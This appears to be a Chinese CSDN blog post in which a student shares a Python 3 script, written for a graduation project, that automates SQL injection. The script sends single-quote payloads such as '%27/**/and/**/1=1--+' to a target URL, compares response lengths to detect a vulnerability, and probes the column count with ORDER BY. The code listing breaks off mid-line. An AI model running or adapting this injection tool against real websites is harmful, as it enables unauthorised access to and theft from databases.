SQL注入自动化python脚本

本文介绍了作者为毕业设计编写的一个Python3 SQL注入脚本,旨在实现自动化注入和扫描。目前脚本仍有提升空间,作者计划进一步改进。
摘要由CSDN通过智能技术生成

写了一个python3注入sql的脚本
临近毕业,尝试写一些自动注入和自动扫描的脚本
发现还是不够自动
后面我再改改。现在脖子疼
实现效果
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
代码如下:

import requests
from bs4 import BeautifulSoup
from colorama import init, Fore, Back, Style
import sys
import time
import urllib.parse
import re
from prettytable import PrettyTable

init(autoreset=True)


class Colored(object):

    # 前景色:红色 背景色:默认
    def red(self, s):
        return Fore.RED + s + Fore.RESET

    # 前景色:绿色 背景色:默认
    def green(self, s):
        return Fore.GREEN + s + Fore.RESET

    # 前景色:黄色 背景色:默认
    def yellow(self, s):
        return Fore.YELLOW + s + Fore.RESET

    # 前景色:蓝色 背景色:默认
    def blue(self, s):
        return Fore.BLUE + s + Fore.RESET

    # 前景色:洋红色 背景色:默认
    def magenta(self, s):
        return Fore.MAGENTA + s + Fore.RESET

    # 前景色:青色 背景色:默认
    def cyan(self, s):
        return Fore.CYAN + s + Fore.RESET

    # 前景色:白色 背景色:默认
    def white(self, s):
        return Fore.WHITE + s + Fore.RESET

    # 前景色:黑色 背景色:默认
    def black(self, s):
        return Fore.BLACK

    # 前景色:白色 背景色:绿色
    def white_green(self, s):
        return Fore.WHITE + Back.GREEN + s + Fore.RESET + Back.RESET


color = Colored()


def single_quotes_injection(url, param_dict, no_param_url):  # 单引号注入
    if len(param_dict) == 1:
        payload_one = url + "%27/**/and/**/1=1--+"  # 一定正确的payload
        payload_two = url + "%27/**/and/**/1=2--+"  # 是否报错的payload
        print(
            color.white("[")
            + color.blue(time.strftime("%H:%M:%S"))
            + color.white("]")
            + color.white("[")
            + color.magenta("payload")
            + color.white("]")
            + color.white("正在执行")
            + color.green(payload_one)
        )
        print(
            color.white("[")
            + color.blue(time.strftime("%H:%M:%S"))
            + color.white("]")
            + color.white("[")
            + color.magenta("payload")
            + color.white("]")
            + color.white("正在执行")
            + color.green(payload_two)
        )
        # print(payload_one)
        response_one = requests.get(payload_one)
        response_two = requests.get(payload_two)
        if response_one.status_code != 200:
            print(color.red("该网站可能部署了waf"))

        # soup_one = BeautifulSoup(response_one.content,'html.parser')
        # soup_two = BeautifulSoup(response_two.content,'html.parser')
        if len(response_one.text) != len(response_two.text):  # 判断是否报错,报错则爆出是sql注入漏洞
            print(
                color.white("[")
                + color.blue(time.strftime("%H:%M:%S"))
                + color.white("]")
                + color.white("[")
                + color.green("INFO")
                + color.white("]")
                + color.yellow("可能存在sql注入漏洞\n")
                + color.white("[")
                + color.blue(time.strftime("%H:%M:%S"))
                + color.white("]")
                + color.white("[")
                + color.magenta("payload")
                + color.white("]")
                + color.green(payload_one)
                + color.white("\n[")
                + color.blue(time.strftime("%H:%M:%S"))
                + color.white("]")
                + color.white("[")
                + color.magenta("payload")
                + color.white("]")
                + color.green(payload_two)
            )
            print(
                color.white("[")
                + color.blue(time.strftime("%H:%M:%S"))
                + color.white("]")
                + color.white("[")
                + color.green("INFO")
                + color.white("]")
                + color.yellow("正在判断是否有回显")
            )
            response = requests.get(
                url + "%27/**/order/**/by/**/1--+"
            )  # 通过order by 判断漏洞是否有回显    这是一定正确的response
            for i in range(1, 15):
                response = requests.get(url + "%27/**/order/**/by/**/" + str(i) + "--+")
                # print(len(response.text))
                if len(response_one.text) != len(
                    response.text
                ):  # 判断谁是第一个长度改变的响应体     判断谁是报错的值,如果都没有报错,证明不是报错注入
                    column_num = i
                    break
                if i == 14:  # 判断的长度为14
                    column_num = 0
            if column_num == 0:  # 判断是否回显
                print(
                    color.white("[")
                    + color.blue(time.strftime("%H:%M:%S"))
                    + color.white("]")
                    + color.white("[")
                    + color.green("INFO")
                    + color.white("]")
                    + color.red("未开启mysql_error()报错  可以尝试盲注")
                )
            else:
                print(
                    color.white("[")
                    + color.blue(time.strftime("%H:%M:%S"))
                    + color.white("]")
                    + color.white("[")
                    + color.green("INFO")
                    + color.white
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值